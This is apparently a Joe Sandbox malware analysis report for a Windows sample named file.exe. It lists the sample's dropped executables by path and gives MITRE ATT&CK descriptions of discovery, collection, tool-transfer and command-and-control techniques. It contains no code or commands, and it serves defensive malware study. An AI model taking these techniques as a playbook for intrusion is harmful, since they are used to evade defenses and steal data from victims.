Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NSXWT8JG74T0IR99MSITIVFVWS7V.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\UZZTJ6QKSG9NR41VVZAVV3CDENIK.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\innoinstaller[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\num[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1002763001\innoinstaller.exe

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre